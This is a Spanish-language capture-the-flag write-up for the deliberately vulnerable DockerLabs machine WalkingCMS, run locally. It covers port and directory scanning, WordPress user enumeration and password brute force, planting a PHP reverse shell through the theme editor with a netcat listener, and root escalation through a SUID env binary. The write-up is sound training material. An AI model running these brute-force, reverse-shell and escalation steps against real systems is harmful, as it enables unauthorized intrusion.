> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/walkingcms.md).

# WalkingCMS

### **Despliegue de la Máquina:**

#### **1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **WalkingCMS** y pulsamos el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **2. Descompresión:**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `walkingcms.zip`:

```bash
7z x walkingcms.zip
```

<figure><img src="/files/JkNGxkD4HOjURWxL09Lw" alt=""><figcaption></figcaption></figure>

#### **3. Ejecución:**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `walkingcms.tar`:

```bash
bash auto_deploy.sh walkingcms.tar
```

<figure><img src="/files/Xtr96iOkkAJ5s2qcDJDM" alt=""><figcaption></figcaption></figure>

***

### **Reconocimiento:**

#### **1. Verificación de Conectividad:**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/C2iDt2sQyOY8oElg090B" alt=""><figcaption></figcaption></figure>

#### **2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP del rango 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato Grepable en el archivo `allPorts`.

**Puerto abierto identificado:**

* **Puerto 80:** `HTTP`.

<figure><img src="/files/PslAeT5c3lKOHVRa8GlI" alt=""><figcaption></figcaption></figure>

#### **3. Escaneo Detallado:**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre el puerto abierto:

```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p80`: Especifica el puerto a escanear.
* `-sCV`: Combina el escaneo de versiones (`-sV`) con la ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultado del escaneo:**

* **Puerto 80:** Servicio identificado como `Apache httpd 2.4.57`.

<figure><img src="/files/VM7ntJZXrf4uPNYNiQwi" alt=""><figcaption></figcaption></figure>

#### **4. Acceso al Servicio Web:**

Al acceder al puerto 80 a través del navegador (`http://172.17.0.2/`), encontramos la página por defecto de Apache, que no proporciona información útil para la explotación.

<figure><img src="/files/4MQefiKevBrDQRhVkTC3" alt=""><figcaption></figcaption></figure>

#### **5. Fuerza Bruta de Directorios:**

Realizamos una enumeración de directorios y archivos ocultos en el servidor web utilizando `gobuster`:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php
```

**Resultado destacado:**

* Detectamos el directorio `/wordpress`.

<figure><img src="/files/ND1St3R4DtQqil9hF4N0" alt=""><figcaption></figcaption></figure>

Al acceder a `http://172.17.0.2/wordpress/`, confirmamos que el sitio está desarrollado con WordPress.

<figure><img src="/files/lWRhokdBFDQGrInqXfM7" alt=""><figcaption></figcaption></figure>

***

### **Explotación:**

#### **1. Enumeración de Usuarios con WPScan:**

Enumeramos los usuarios válidos de WordPress utilizando `wpscan` dentro de un contenedor en Docker:

```bash
docker run --rm wpscanteam/wpscan --url http://172.17.0.2/wordpress/ --enumerate u
```

**Resultado:**

* **Identificamos un usuario válido:** `mario`.

<figure><img src="/files/8RPDcmzbRydNG5EsFR5V" alt=""><figcaption></figcaption></figure>

#### **2. Fuerza Bruta de Contraseñas:**

Realizamos un ataque de fuerza bruta para descubrir la contraseña asociada al usuario `mario`, utilizando `wpscan` dentro de un contenedor en Docker:

```bash
docker run --rm -v /usr/share/wordlists/seclists/Passwords:/usr/share/wordlists/seclists/Passwords wpscanteam/wpscan --url http://172.17.0.2/wordpress/ --usernames mario --passwords /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-dup.txt
```

**Resultado:**

* **Credenciales válidas obtenidas:** `mario:love`.

<figure><img src="/files/X5id8uXc5lF0LyuhcuDZ" alt=""><figcaption></figcaption></figure>

#### **3. Acceso al Panel de Administración:**

Accedemos a la ruta `http://172.17.0.2/wordpress/wp-admin`, la cual nos redirige automáticamente a la página de inicio de sesión: `http://172.17.0.2/wordpress/wp-login.php?redirect_to=http%3A%2F%2F172.17.0.2%2Fwordpress%2Fwp-admin%2F&reauth=1`.

Utilizamos las credenciales obtenidas previamente mediante fuerza bruta (`mario:love`) y logramos iniciar sesión exitosamente en el panel de administración de WordPress.

<figure><img src="/files/QBPV2UYRmYRnKTGw1nvI" alt=""><figcaption></figcaption></figure>

#### **4. Subida de Reverse Shell en PHP:**

Nos dirigimos al **Editor de temas** (Theme Editor) para modificar los archivos del tema activo.

Creamos un archivo llamado `1.php` e insertamos en él una [reverse shell en PHP](https://www.revshells.com/), diseñada para establecer una conexión remota con nuestro equipo atacante.

<figure><img src="/files/Qu2tONeFeW2Uin2rCdlh" alt=""><figcaption></figcaption></figure>

#### **5. Ejecución de la Reverse Shell:**

Configuramos nuestro equipo atacante para escuchar en el puerto especificado en la reverse shell, utilizando `netcat`:

```bash
nc -lvnp 1234
```

<figure><img src="/files/Y0Ddk3a6EXCk3xPq3PGN" alt=""><figcaption></figcaption></figure>

A continuación, accedemos al archivo malicioso en `http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/1.php`, lo que activa la reverse shell previamente cargada.

<figure><img src="/files/cHWkK6YOqtBnRuwS8kPC" alt=""><figcaption></figcaption></figure>

Como resultado, obtenemos acceso remoto al sistema con los privilegios del usuario `www-data`.

<figure><img src="/files/vgxf57HKjh2beq90QACL" alt=""><figcaption></figcaption></figure>

***

### **Escalada de Privilegios:**

#### **1. Búsqueda de Binarios SUID:**

Buscamos binarios con permisos SUID que puedan ser explotados:

```bash
find / -perm -4000 2>/dev/null
```

**Resultado relevante:**

* `/usr/bin/env`: Binario con permisos SUID.

<figure><img src="/files/7b0W2mTmQGGQAlfdp63q" alt=""><figcaption></figcaption></figure>

#### **2. Explotación con GTFOBins:**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/env/) para encontrar un método de explotación.

Ejecutamos el siguiente comando para escalar privilegios:

```bash
/usr/bin/env /bin/bash -p
```

Confirmamos que ahora somos el usuario `root`, completando con éxito la escalada de privilegios.

<figure><img src="/files/P6oVrglkKgcrGlsKg6Vw" alt=""><figcaption></figcaption></figure>
